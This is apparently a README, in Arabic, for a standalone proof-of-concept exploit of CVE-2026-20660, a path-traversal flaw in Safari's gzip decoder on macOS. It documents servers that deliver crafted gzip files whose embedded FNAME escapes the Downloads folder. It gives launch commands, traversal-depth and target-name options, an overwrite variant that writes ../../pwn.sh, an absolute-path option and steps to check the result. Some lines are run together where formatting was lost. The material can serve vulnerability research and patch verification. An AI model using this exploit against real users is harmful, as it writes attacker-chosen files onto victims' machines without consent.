
استغلال PoC مستقل لثغرة CVE-2026-20660: اجتياز المسار في مفكك ترميز gzip في Safari. يقدّم الخادم ملف gzip خبيثًا لكتابة ملفات عشوائية على أنظمة macOS المعرّضة للخطر.
يضم هذا المجلد إثبات مفهوم مستقلًا لما يلي:
NSGZipDecoder (CFNetwork) عبر FNAME الخاص بـ gzipserver.py: الخادم الرئيسي لـ PoC مع عمق تجاوز واسم هدف قابلين للضبطserver_overwrite.py: نسخة مركّزة تكتب ../../pwn.shREADME.md: ملاحظات إعادة الإنتاج وسجل التشغيليُظهر فرق التصحيح أن -[NSGZipDecoder filenameWithOriginalFilename:] غيّر السلوك:
lastPathComponent قبل الإرجاع.وهذا يمنع مكونات الدليل مثل ../ والمسارات المطلقة في FNAME.
يمكن أن يكون اسم ملف HTTP سليمًا ومع ذلك ينجح الاستغلال.
Content-Disposition في HTTP: سليم (مثال: report.gz)../../proof.txt)تطبق عملية التعقيم في جانب Safari بشكل أساسي على أسماء طبقة HTTP، وليس على FNAME المضمن في gzip الذي يستهلكه NSGZipDecoder في المسار القابل للثغرة.
من جذر المستودع:
python3 exploit/cve-2026-20660/server.py --port 8888 --depth 2
افتح في Safari القابل للثغرة:
http://<server-ip>:8888/
انقر فوق Trigger depth=2.
بعد التشغيل، تحقق من نتيجة الكتابة على الجهاز الهدف:
ls -la ~/cve-2026-20660-proof.txt
cat ~/cve-2026-20660-proof.txt
بالنسبة لنسخة الكتابة فوق الملفات:
python3 exploit/cve-2026-20660/server_overwrite.py --port 9999
ثم افتح:
http://<server-ip>:9999/
تحقق:
ls -la ~/pwn.sh
cat ~/pwn.sh
server.py)--bind, -b: عنوان الربط (الافتراضي 0.0.0.0)--port, -p: منفذ الاستماع (الافتراضي 8888)--depth, -d: عمق التجاوز (عدد مرات تكرار ../، الافتراضي 2)--name, -n: اسم ملف الإخراج الهدفأمثلة:
# write to ~/proof.txt when depth matches runtime directory nesting
python3 exploit/cve-2026-20660/server.py -p 8888 -d 2 -n proof.txt
# explicit absolute path test (if resolver permits)
python3 exploit/cve-2026-20660/server.py -p 8888
# then use: /download?depth=0&fname=/tmp/proof.txt
~/Downloads، لذا غالبًا ما يلزم أن يكون العمق >= 2 للهروب إلى ~/.2, 3, 4) وأعد الاختبار.استخدم فقط في بيئات الاختبار المصرح بها.
للحصول على شرح أكثر تفصيلًا، انظر: